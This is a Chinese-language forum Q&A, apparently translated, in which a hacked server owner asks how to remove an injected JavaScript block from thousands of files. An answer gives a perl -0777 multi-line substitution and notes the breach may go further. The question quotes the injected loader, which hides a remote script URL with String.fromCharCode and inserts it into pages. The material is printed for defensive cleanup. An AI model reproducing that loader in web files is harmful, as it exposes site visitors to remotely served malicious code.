☰

从文件中替换（删除）多行

tag-icon • tag-icon sed regular-expression perl malware
从文件中替换（删除）多行

我的一台服务器被黑了，他们在每个 js 文件的开头添加了以下内容：

var hglgfdrr4634hezfdg = 1; var d=document;var s=d.createElement('script'); s.type='text/javascript'; s.async=true;
var pl = String.fromCharCode(104,116,...,106,115); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

我需要清理它们，但无法手动清理，因为它们有数千个文件。

我正在努力寻找一个可行的解决方案，我读到了有关 perl 的内容，然后我写了这个：

perl -pi -e 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,...,106,115\); s\.src=pl;\nif \(document\.currentScript\) \{\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else \{\nd\.getElementsByTagName\(\x27head\x27\)\[0\]\.appendChild\(s\);\n\}//' script.js

我尝试了 regex101 并且正则表达式匹配，该命令没有给出错误，但没有任何内容被替换......

答案1

perl必须“吸收”整个文件才能匹配\n字符，因此请使用以下-0777选项：

perl -i -0777pe 's/var hglgfdrr4634hezfdg = 1; var d=document;var s=d\.createElement\(\x27script\x27\); s\.type=\x27text\/javascript\x27; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,\.\.\.,106,115\); s\.src=pl;\nif \(document\.currentScript\) {\ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\(\x27head\x27\)\[0]\.appendChild\(s\);\n}\n//' script.js

尽管服务器被黑客攻击，但可能还有更多问题需要解决。

相关内容